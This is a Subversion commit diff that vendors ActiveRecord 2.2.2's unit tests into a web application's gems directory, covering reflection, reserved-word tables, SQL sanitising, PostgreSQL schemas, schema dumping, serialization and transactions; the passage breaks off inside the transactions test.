+    assert_equal Address, Customer.reflect_on_aggregation(:address).klass
+
+    assert_equal Money, Customer.reflect_on_aggregation(:balance).klass
+  end
+
+  def test_has_many_reflection
+    reflection_for_clients = ActiveRecord::Reflection::AssociationReflection.new(:has_many, :clients, { :order => "id", :dependent => :destroy }, Firm)
+
+    assert_equal reflection_for_clients, Firm.reflect_on_association(:clients)
+
+    assert_equal Client, Firm.reflect_on_association(:clients).klass
+    assert_equal 'companies', Firm.reflect_on_association(:clients).table_name
+
+    assert_equal Client, Firm.reflect_on_association(:clients_of_firm).klass
+    assert_equal 'companies', Firm.reflect_on_association(:clients_of_firm).table_name
+  end
+
+  def test_has_one_reflection
+    reflection_for_account = ActiveRecord::Reflection::AssociationReflection.new(:has_one, :account, { :foreign_key => "firm_id", :dependent => :destroy }, Firm)
+    assert_equal reflection_for_account, Firm.reflect_on_association(:account)
+
+    assert_equal Account, Firm.reflect_on_association(:account).klass
+    assert_equal 'accounts', Firm.reflect_on_association(:account).table_name
+  end
+
+  def test_belongs_to_inferred_foreign_key_from_assoc_name
+    Company.belongs_to :foo
+    assert_equal "foo_id", Company.reflect_on_association(:foo).primary_key_name
+    Company.belongs_to :bar, :class_name => "Xyzzy"
+    assert_equal "bar_id", Company.reflect_on_association(:bar).primary_key_name
+    Company.belongs_to :baz, :class_name => "Xyzzy", :foreign_key => "xyzzy_id"
+    assert_equal "xyzzy_id", Company.reflect_on_association(:baz).primary_key_name
+  end
+
+  def test_association_reflection_in_modules
+    assert_reflection MyApplication::Business::Firm,
+      :clients_of_firm,
+      :klass      => MyApplication::Business::Client,
+      :class_name => 'Client',
+      :table_name => 'companies'
+
+    assert_reflection MyApplication::Billing::Account,
+      :firm,
+      :klass      => MyApplication::Business::Firm,
+      :class_name => 'MyApplication::Business::Firm',
+      :table_name => 'companies'
+
+    assert_reflection MyApplication::Billing::Account,
+      :qualified_billing_firm,
+      :klass      => MyApplication::Billing::Firm,
+      :class_name => 'MyApplication::Billing::Firm',
+      :table_name => 'companies'
+
+    assert_reflection MyApplication::Billing::Account,
+      :unqualified_billing_firm,
+      :klass      => MyApplication::Billing::Firm,
+      :class_name => 'Firm',
+      :table_name => 'companies'
+
+    assert_reflection MyApplication::Billing::Account,
+      :nested_qualified_billing_firm,
+      :klass      => MyApplication::Billing::Nested::Firm,
+      :class_name => 'MyApplication::Billing::Nested::Firm',
+      :table_name => 'companies'
+
+    assert_reflection MyApplication::Billing::Account,
+      :nested_unqualified_billing_firm,
+      :klass      => MyApplication::Billing::Nested::Firm,
+      :class_name => 'Nested::Firm',
+      :table_name => 'companies'
+  end
+
+  def test_reflection_of_all_associations
+    # FIXME these assertions bust a lot
+    assert_equal 26, Firm.reflect_on_all_associations.size
+    assert_equal 20, Firm.reflect_on_all_associations(:has_many).size
+    assert_equal 6, Firm.reflect_on_all_associations(:has_one).size
+    assert_equal 0, Firm.reflect_on_all_associations(:belongs_to).size
+  end
+
+  def test_reflection_should_not_raise_error_when_compared_to_other_object
+    assert_nothing_raised { Firm.reflections[:clients] == Object.new }
+  end
+
+  def test_has_many_through_reflection
+    assert_kind_of ActiveRecord::Reflection::ThroughReflection, Subscriber.reflect_on_association(:books)
+  end
+
+  private
+    def assert_reflection(klass, association, options)
+      assert reflection = klass.reflect_on_association(association)
+      options.each do |method, value|
+        assert_equal(value, reflection.send(method))
+      end
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/reload_models_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/reload_models_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/reload_models_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+require "cases/helper"
+require 'models/owner'
+require 'models/pet'
+
+class ReloadModelsTest < ActiveRecord::TestCase
+  def test_has_one_with_reload
+    pet = Pet.find_by_name('parrot')
+    pet.owner = Owner.find_by_name('ashley')
+
+    # Reload the class Owner, simulating auto-reloading of model classes in a
+    # development environment. Note that meanwhile the class Pet is not
+    # reloaded, simulating a class that is present in a plugin.
+    Object.class_eval { remove_const :Owner }
+    Kernel.load(File.expand_path(File.join(File.dirname(__FILE__), "../models/owner.rb")))
+
+    pet = Pet.find_by_name('parrot')
+    pet.owner = Owner.find_by_name('ashley')
+    assert_equal pet.owner, Owner.find_by_name('ashley')
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/reserved_word_test_mysql.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/reserved_word_test_mysql.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/reserved_word_test_mysql.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,176 @@
+require "cases/helper"
+
+class Group < ActiveRecord::Base
+  Group.table_name = 'group'
+  belongs_to :select, :class_name => 'Select'
+  has_one :values
+end
+
+class Select < ActiveRecord::Base
+  Select.table_name = 'select'
+  has_many :groups
+end
+
+class Values < ActiveRecord::Base
+  Values.table_name = 'values'
+end
+
+class Distinct < ActiveRecord::Base
+  Distinct.table_name = 'distinct'
+  has_and_belongs_to_many :selects
+  has_many :values, :through => :groups
+end
+
+# a suite of tests to ensure the ConnectionAdapters#MysqlAdapter can handle tables with
+# reserved word names (ie: group, order, values, etc...)
+class MysqlReservedWordTest < ActiveRecord::TestCase
+  def setup
+    @connection = ActiveRecord::Base.connection
+
+    # we call execute directly here (and do similar below) because ActiveRecord::Base#create_table()
+    # will fail with these table names if these test cases fail
+
+    create_tables_directly 'group'=>'id int auto_increment primary key, `order` varchar(255), select_id int',
+      'select'=>'id int auto_increment primary key',
+      'values'=>'id int auto_increment primary key, group_id int',
+      'distinct'=>'id int auto_increment primary key',
+      'distincts_selects'=>'distinct_id int, select_id int'
+  end
+
+  def teardown
+    drop_tables_directly ['group', 'select', 'values', 'distinct', 'distincts_selects', 'order']
+  end
+
+  # create tables with reserved-word names and columns
+  def test_create_tables
+    assert_nothing_raised {
+      @connection.create_table :order do |t|
+        t.column :group, :string
+      end
+    }
+  end
+
+  # rename tables with reserved-word names
+  def test_rename_tables
+    assert_nothing_raised { @connection.rename_table(:group, :order) }
+  end
+
+  # alter column with a reserved-word name in a table with a reserved-word name
+  def test_change_columns
+    assert_nothing_raised { @connection.change_column_default(:group, :order, 'whatever') }
+    #the quoting here will reveal any double quoting issues in change_column's interaction with the column method in the adapter
+    assert_nothing_raised { @connection.change_column('group', 'order', :Int, :default => 0) }
+    assert_nothing_raised { @connection.rename_column(:group, :order, :values) }
+  end
+
+  # dump structure of table with reserved word name
+  def test_structure_dump
+    assert_nothing_raised { @connection.structure_dump  }
+  end
+
+  # introspect table with reserved word name
+  def test_introspect
+    assert_nothing_raised { @connection.columns(:group) }
+    assert_nothing_raised { @connection.indexes(:group) }
+  end
+
+  #fixtures
+  self.use_instantiated_fixtures = true
+  self.use_transactional_fixtures = false
+
+  #fixtures :group
+
+  def test_fixtures
+    f = create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
+
+    assert_nothing_raised {
+      f.each do |x|
+        x.delete_existing_fixtures
+      end
+    }
+
+    assert_nothing_raised {
+      f.each do |x|
+        x.insert_fixtures
+      end
+    }
+  end
+
+  #activerecord model class with reserved-word table name
+  def test_activerecord_model
+    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
+    x = nil
+    assert_nothing_raised { x = Group.new }
+    x.order = 'x'
+    assert_nothing_raised { x.save }
+    x.order = 'y'
+    assert_nothing_raised { x.save }
+    assert_nothing_raised { y = Group.find_by_order('y') }
+    assert_nothing_raised { y = Group.find(1) }
+    x = Group.find(1)
+  end
+
+  # has_one association with reserved-word table name
+  def test_has_one_associations
+    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
+    v = nil
+    assert_nothing_raised { v = Group.find(1).values }
+    assert_equal v.id, 2
+  end
+
+  # belongs_to association with reserved-word table name
+  def test_belongs_to_associations
+    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
+    gs = nil
+    assert_nothing_raised { gs = Select.find(2).groups }
+    assert_equal gs.length, 2
+    assert(gs.collect{|x| x.id}.sort == [2, 3])
+  end
+
+  # has_and_belongs_to_many with reserved-word table name
+  def test_has_and_belongs_to_many
+    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
+    s = nil
+    assert_nothing_raised { s = Distinct.find(1).selects }
+    assert_equal s.length, 2
+    assert(s.collect{|x|x.id}.sort == [1, 2])
+  end
+
+  # activerecord model introspection with reserved-word table and column names
+  def test_activerecord_introspection
+    assert_nothing_raised { Group.table_exists? }
+    assert_nothing_raised { Group.columns }
+  end
+
+  # Calculations
+  def test_calculations_work_with_reserved_words
+    assert_nothing_raised { Group.count }
+  end
+
+  def test_associations_work_with_reserved_words
+    assert_nothing_raised { Select.find(:all, :include => [:groups]) }
+  end
+
+  #the following functions were added to DRY test cases
+
+  private
+  # custom fixture loader, uses Fixtures#create_fixtures and appends base_path to the current file's path
+  def create_test_fixtures(*fixture_names)
+    Fixtures.create_fixtures(FIXTURES_ROOT + "/reserved_words", fixture_names)
+  end
+
+  # custom drop table, uses execute on connection to drop a table if it exists. note: escapes table_name
+  def drop_tables_directly(table_names, connection = @connection)
+    table_names.each do |name|
+      connection.execute("DROP TABLE IF EXISTS `#{name}`")
+    end
+  end
+
+  # custom create table, uses execute on connection to create a table, note: escapes table_name, does NOT escape columns
+  def create_tables_directly (tables, connection = @connection)
+    tables.each do |table_name, column_properties|
+      connection.execute("CREATE TABLE `#{table_name}` ( #{column_properties} )")
+    end
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/sanitize_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/sanitize_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/sanitize_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+require "cases/helper"
+require 'models/binary'
+
+class SanitizeTest < ActiveRecord::TestCase
+  def setup
+  end
+
+  def test_sanitize_sql_array_handles_string_interpolation
+    quoted_bambi = ActiveRecord::Base.connection.quote_string("Bambi")
+    assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=%s", "Bambi"])
+    assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=%s", "Bambi".mb_chars])
+    quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote_string("Bambi\nand\nThumper")
+    assert_equal "name=#{quoted_bambi_and_thumper}",Binary.send(:sanitize_sql_array, ["name=%s", "Bambi\nand\nThumper"])
+    assert_equal "name=#{quoted_bambi_and_thumper}",Binary.send(:sanitize_sql_array, ["name=%s", "Bambi\nand\nThumper".mb_chars])
+  end
+
+  def test_sanitize_sql_array_handles_bind_variables
+    quoted_bambi = ActiveRecord::Base.connection.quote("Bambi")
+    assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi"])
+    assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi".mb_chars])
+    quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper")
+    assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper"])
+    assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper".mb_chars])
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/schema_authorization_test_postgresql.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/schema_authorization_test_postgresql.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/schema_authorization_test_postgresql.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,75 @@
+require "cases/helper"
+
+class SchemaThing < ActiveRecord::Base
+end
+
+class SchemaAuthorizationTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  TABLE_NAME = 'schema_things'
+  COLUMNS = [
+    'id serial primary key',
+    'name character varying(50)'
+  ]
+  USERS = ['rails_pg_schema_user1', 'rails_pg_schema_user2']
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.execute "SET search_path TO '$user',public"
+    set_session_auth
+    USERS.each do |u|
+      @connection.execute "CREATE USER #{u}" rescue nil
+      @connection.execute "CREATE SCHEMA AUTHORIZATION #{u}" rescue nil
+      set_session_auth u
+      @connection.execute "CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
+      @connection.execute "INSERT INTO #{TABLE_NAME} (name) VALUES ('#{u}')"
+      set_session_auth
+    end
+  end
+
+  def teardown
+    set_session_auth
+    @connection.execute "RESET search_path"
+    USERS.each do |u|
+      @connection.execute "DROP SCHEMA #{u} CASCADE"
+      @connection.execute "DROP USER #{u}"
+    end
+  end
+
+  def test_schema_invisible
+    assert_raise(ActiveRecord::StatementInvalid) do
+      set_session_auth
+      @connection.execute "SELECT * FROM #{TABLE_NAME}"
+    end
+  end
+
+  def test_schema_uniqueness
+    assert_nothing_raised do
+      set_session_auth
+      USERS.each do |u|
+        set_session_auth u
+        assert_equal u, @connection.select_value("SELECT name FROM #{TABLE_NAME} WHERE id = 1")
+        set_session_auth
+      end
+    end
+  end
+
+  def test_sequence_schema_caching
+    assert_nothing_raised do
+      USERS.each do |u|
+        set_session_auth u
+        st = SchemaThing.new :name => 'TEST1'
+        st.save!
+        st = SchemaThing.new :id => 5, :name => 'TEST2'
+        st.save!
+        set_session_auth
+      end
+    end
+  end
+
+  private
+    def set_session_auth auth = nil
+       @connection.execute "SET SESSION AUTHORIZATION #{auth || 'default'}"
+    end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/schema_dumper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/schema_dumper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/schema_dumper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,184 @@
+require "cases/helper"
+require 'active_record/schema_dumper'
+require 'stringio'
+
+
+class SchemaDumperTest < ActiveRecord::TestCase
+  def standard_dump
+    stream = StringIO.new
+    ActiveRecord::SchemaDumper.ignore_tables = []
+    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+    stream.string
+  end
+
+  def test_schema_dump
+    output = standard_dump
+    assert_match %r{create_table "accounts"}, output
+    assert_match %r{create_table "authors"}, output
+    assert_no_match %r{create_table "schema_migrations"}, output
+  end
+
+  def test_schema_dump_excludes_sqlite_sequence
+    output = standard_dump
+    assert_no_match %r{create_table "sqlite_sequence"}, output
+  end
+
+  def assert_line_up(lines, pattern, required = false)
+    return assert(true) if lines.empty?
+    matches = lines.map { |line| line.match(pattern) }
+    assert matches.all? if required
+    matches.compact!
+    return assert(true) if matches.empty?
+    assert_equal 1, matches.map{ |match| match.offset(0).first }.uniq.length
+  end
+
+  def column_definition_lines(output = standard_dump)
+    output.scan(/^( *)create_table.*?\n(.*?)^\1end/m).map{ |m| m.last.split(/\n/) }
+  end
+
+  def test_types_line_up
+    column_definition_lines.each do |column_set|
+      next if column_set.empty?
+
+      lengths = column_set.map do |column|
+        if match = column.match(/t\.(?:integer|decimal|float|datetime|timestamp|time|date|text|binary|string|boolean)\s+"/)
+          match[0].length
+        end
+      end
+
+      assert_equal 1, lengths.uniq.length
+    end
+  end
+
+  def test_arguments_line_up
+    column_definition_lines.each do |column_set|
+      assert_line_up(column_set, /:default => /)
+      assert_line_up(column_set, /:limit => /)
+      assert_line_up(column_set, /:null => /)
+    end
+  end
+
+  def test_no_dump_errors
+    output = standard_dump
+    assert_no_match %r{\# Could not dump table}, output
+  end
+
+  def test_schema_dump_includes_not_null_columns
+    stream = StringIO.new
+
+    ActiveRecord::SchemaDumper.ignore_tables = [/^[^r]/]
+    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+    output = stream.string
+    assert_match %r{:null => false}, output
+  end
+
+  def test_schema_dump_includes_limit_constraint_for_integer_columns
+    stream = StringIO.new
+
+    ActiveRecord::SchemaDumper.ignore_tables = [/^(?!integer_limits)/]
+    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+    output = stream.string
+
+    if current_adapter?(:PostgreSQLAdapter)
+      assert_match %r{c_int_1.*:limit => 2}, output
+      assert_match %r{c_int_2.*:limit => 2}, output
+
+      # int 3 is 4 bytes in postgresql
+      assert_match %r{c_int_3.*}, output
+      assert_no_match %r{c_int_3.*:limit}, output
+
+      assert_match %r{c_int_4.*}, output
+      assert_no_match %r{c_int_4.*:limit}, output
+    elsif current_adapter?(:MysqlAdapter)
+      assert_match %r{c_int_1.*:limit => 1}, output
+      assert_match %r{c_int_2.*:limit => 2}, output
+      assert_match %r{c_int_3.*:limit => 3}, output
+
+      assert_match %r{c_int_4.*}, output
+      assert_no_match %r{c_int_4.*:limit}, output
+    elsif current_adapter?(:SQLiteAdapter)
+      assert_match %r{c_int_1.*:limit => 1}, output
+      assert_match %r{c_int_2.*:limit => 2}, output
+      assert_match %r{c_int_3.*:limit => 3}, output
+      assert_match %r{c_int_4.*:limit => 4}, output
+    end
+    assert_match %r{c_int_without_limit.*}, output
+    assert_no_match %r{c_int_without_limit.*:limit}, output
+
+    if current_adapter?(:SQLiteAdapter)
+      assert_match %r{c_int_5.*:limit => 5}, output
+      assert_match %r{c_int_6.*:limit => 6}, output
+      assert_match %r{c_int_7.*:limit => 7}, output
+      assert_match %r{c_int_8.*:limit => 8}, output
+    else
+      assert_match %r{c_int_5.*:limit => 8}, output
+      assert_match %r{c_int_6.*:limit => 8}, output
+      assert_match %r{c_int_7.*:limit => 8}, output
+      assert_match %r{c_int_8.*:limit => 8}, output
+    end
+  end
+
+  def test_schema_dump_with_string_ignored_table
+    stream = StringIO.new
+
+    ActiveRecord::SchemaDumper.ignore_tables = ['accounts']
+    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+    output = stream.string
+    assert_no_match %r{create_table "accounts"}, output
+    assert_match %r{create_table "authors"}, output
+    assert_no_match %r{create_table "schema_migrations"}, output
+  end
+
+  def test_schema_dump_with_regexp_ignored_table
+    stream = StringIO.new
+
+    ActiveRecord::SchemaDumper.ignore_tables = [/^account/]
+    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+    output = stream.string
+    assert_no_match %r{create_table "accounts"}, output
+    assert_match %r{create_table "authors"}, output
+    assert_no_match %r{create_table "schema_migrations"}, output
+  end
+
+  def test_schema_dump_illegal_ignored_table_value
+    stream = StringIO.new
+    ActiveRecord::SchemaDumper.ignore_tables = [5]
+    assert_raise(StandardError) do
+      ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+    end
+  end
+
+  if current_adapter?(:MysqlAdapter)
+    def test_schema_dump_should_not_add_default_value_for_mysql_text_field
+      output = standard_dump
+      assert_match %r{t.text\s+"body",\s+:null => false$}, output
+    end
+
+    def test_mysql_schema_dump_should_honor_nonstandard_primary_keys
+      output = standard_dump
+      match = output.match(%r{create_table "movies"(.*)do})
+      assert_not_nil(match, "nonstandardpk table not found")
+      assert_match %r(:primary_key => "movieid"), match[1], "non-standard primary key not preserved"
+    end
+
+    def test_schema_dump_includes_length_for_mysql_blob_and_text_fields
+      output = standard_dump
+      assert_match %r{t.binary\s+"tiny_blob",\s+:limit => 255$}, output
+      assert_match %r{t.binary\s+"normal_blob"$}, output
+      assert_match %r{t.binary\s+"medium_blob",\s+:limit => 16777215$}, output
+      assert_match %r{t.binary\s+"long_blob",\s+:limit => 2147483647$}, output
+      assert_match %r{t.text\s+"tiny_text",\s+:limit => 255$}, output
+      assert_match %r{t.text\s+"normal_text"$}, output
+      assert_match %r{t.text\s+"medium_text",\s+:limit => 16777215$}, output
+      assert_match %r{t.text\s+"long_text",\s+:limit => 2147483647$}, output
+    end
+  end
+
+  def test_schema_dump_includes_decimal_options
+    stream = StringIO.new
+    ActiveRecord::SchemaDumper.ignore_tables = [/^[^n]/]
+    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+    output = stream.string
+    assert_match %r{:precision => 3,[[:space:]]+:scale => 2,[[:space:]]+:default => 2.78}, output
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/schema_test_postgresql.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/schema_test_postgresql.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/schema_test_postgresql.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,102 @@
+require "cases/helper"
+
+class SchemaTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  SCHEMA_NAME = 'test_schema'
+  SCHEMA2_NAME = 'test_schema2'
+  TABLE_NAME = 'things'
+  INDEX_A_NAME = 'a_index_things_on_name'
+  INDEX_B_NAME = 'b_index_things_on_different_columns_in_each_schema'
+  INDEX_A_COLUMN = 'name'
+  INDEX_B_COLUMN_S1 = 'email'
+  INDEX_B_COLUMN_S2 = 'moment'
+  COLUMNS = [
+    'id integer',
+    'name character varying(50)',
+    'email character varying(50)',
+    'moment timestamp without time zone default now()'
+  ]
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
+    @connection.execute "CREATE SCHEMA #{SCHEMA2_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
+    @connection.execute "CREATE INDEX #{INDEX_A_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_A_COLUMN});"
+    @connection.execute "CREATE INDEX #{INDEX_A_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_A_COLUMN});"
+    @connection.execute "CREATE INDEX #{INDEX_B_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_B_COLUMN_S1});"
+    @connection.execute "CREATE INDEX #{INDEX_B_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_B_COLUMN_S2});"
+  end
+
+  def teardown
+    @connection.execute "DROP SCHEMA #{SCHEMA2_NAME} CASCADE"
+    @connection.execute "DROP SCHEMA #{SCHEMA_NAME} CASCADE"
+  end
+
+  def test_with_schema_prefixed_table_name
+    assert_nothing_raised do
+      assert_equal COLUMNS, columns("#{SCHEMA_NAME}.#{TABLE_NAME}")
+    end
+  end
+
+  def test_with_schema_search_path
+    assert_nothing_raised do
+      with_schema_search_path(SCHEMA_NAME) do
+        assert_equal COLUMNS, columns(TABLE_NAME)
+      end
+    end
+  end
+
+  def test_raise_on_unquoted_schema_name
+    assert_raise(ActiveRecord::StatementInvalid) do
+      with_schema_search_path '$user,public'
+    end
+  end
+
+  def test_without_schema_search_path
+    assert_raise(ActiveRecord::StatementInvalid) { columns(TABLE_NAME) }
+  end
+
+  def test_ignore_nil_schema_search_path
+    assert_nothing_raised { with_schema_search_path nil }
+  end
+
+  def test_dump_indexes_for_schema_one
+    do_dump_index_tests_for_schema(SCHEMA_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S1)
+  end
+
+  def test_dump_indexes_for_schema_two
+    do_dump_index_tests_for_schema(SCHEMA2_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S2)
+  end
+
+  private
+    def columns(table_name)
+      @connection.send(:column_definitions, table_name).map do |name, type, default|
+        "#{name} #{type}" + (default ? " default #{default}" : '')
+      end
+    end
+
+    def with_schema_search_path(schema_search_path)
+      @connection.schema_search_path = schema_search_path
+      yield if block_given?
+    ensure
+      @connection.schema_search_path = "'$user', public"
+    end
+
+    def do_dump_index_tests_for_schema(this_schema_name, first_index_column_name, second_index_column_name)
+      with_schema_search_path(this_schema_name) do
+        indexes = @connection.indexes(TABLE_NAME).sort_by {|i| i.name}
+        assert_equal 2,indexes.size
+
+        do_dump_index_assertions_for_one_index(indexes[0], INDEX_A_NAME, first_index_column_name)
+        do_dump_index_assertions_for_one_index(indexes[1], INDEX_B_NAME, second_index_column_name)
+      end
+    end
+
+    def do_dump_index_assertions_for_one_index(this_index, this_index_name, this_index_column)
+      assert_equal TABLE_NAME, this_index.table
+      assert_equal 1, this_index.columns.size
+      assert_equal this_index_column, this_index.columns[0]
+      assert_equal this_index_name, this_index.name
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/serialization_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/serialization_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/serialization_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,47 @@
+require "cases/helper"
+require 'models/contact'
+
+class SerializationTest < ActiveRecord::TestCase
+  FORMATS = [ :xml, :json ]
+
+  def setup
+    @contact_attributes = {
+      :name        => 'aaron stack',
+      :age         => 25,
+      :avatar      => 'binarydata',
+      :created_at  => Time.utc(2006, 8, 1),
+      :awesome     => false,
+      :preferences => { :gem => '<strong>ruby</strong>' }
+    }
+
+    @contact = Contact.new(@contact_attributes)
+  end
+
+  def test_serialize_should_be_reversible
+    for format in FORMATS
+      @serialized = Contact.new.send("to_#{format}")
+      contact = Contact.new.send("from_#{format}", @serialized)
+
+      assert_equal @contact_attributes.keys.collect(&:to_s).sort, contact.attributes.keys.collect(&:to_s).sort, "For #{format}"
+    end
+  end
+
+  def test_serialize_should_allow_attribute_only_filtering
+    for format in FORMATS
+      @serialized = Contact.new(@contact_attributes).send("to_#{format}", :only => [ :age, :name ])
+      contact = Contact.new.send("from_#{format}", @serialized)
+      assert_equal @contact_attributes[:name], contact.name, "For #{format}"
+      assert_nil contact.avatar, "For #{format}"
+    end
+  end
+
+  def test_serialize_should_allow_attribute_except_filtering
+    for format in FORMATS
+      @serialized = Contact.new(@contact_attributes).send("to_#{format}", :except => [ :age, :name ])
+      contact = Contact.new.send("from_#{format}", @serialized)
+      assert_nil contact.name, "For #{format}"
+      assert_nil contact.age, "For #{format}"
+      assert_equal @contact_attributes[:awesome], contact.awesome, "For #{format}"
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/synonym_test_oracle.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/synonym_test_oracle.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/synonym_test_oracle.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/subject'
+
+# confirm that synonyms work just like tables; in this case
+# the "subjects" table in Oracle (defined in oci.sql) is just
+# a synonym to the "topics" table
+
+class TestOracleSynonym < ActiveRecord::TestCase
+
+  def test_oracle_synonym
+    topic = Topic.new
+    subject = Subject.new
+    assert_equal(topic.attributes, subject.attributes)
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/transactions_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/transactions_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/transactions_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,357 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/reply'
+require 'models/developer'
+require 'models/book'
+
+class TransactionTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+  fixtures :topics, :developers
+
+  def setup
+    @first, @second = Topic.find(1, 2).sort_by { |t| t.id }
+  end
+
+  def test_successful
+    Topic.transaction do
+      @first.approved  = true
+      @second.approved = false
+      @first.save
+      @second.save
+    end
+
+    assert Topic.find(1).approved?, "First should have been approved"
+    assert !Topic.find(2).approved?, "Second should have been unapproved"
+  end
+
+  def transaction_with_return
+    Topic.transaction do
+      @first.approved  = true
+      @second.approved = false
+      @first.save
+      @second.save
+      return
+    end
+  end
+
+  def test_successful_with_return
+    class << Topic.connection
+      alias :real_commit_db_transaction :commit_db_transaction
+      def commit_db_transaction
+        $committed = true
+        real_commit_db_transaction
+      end
+    end
+
+    $committed = false
+    transaction_with_return
+    assert $committed
+
+    assert Topic.find(1).approved?, "First should have been approved"
+    assert !Topic.find(2).approved?, "Second should have been unapproved"
+  ensure
+    class << Topic.connection
+      alias :commit_db_transaction :real_commit_db_transaction rescue nil
+    end
+  end
+
+  def test_successful_with_instance_method
+    @first.transaction do
+      @first.approved  = true
+      @second.approved = false
+      @first.save
+      @second.save
+    end
+
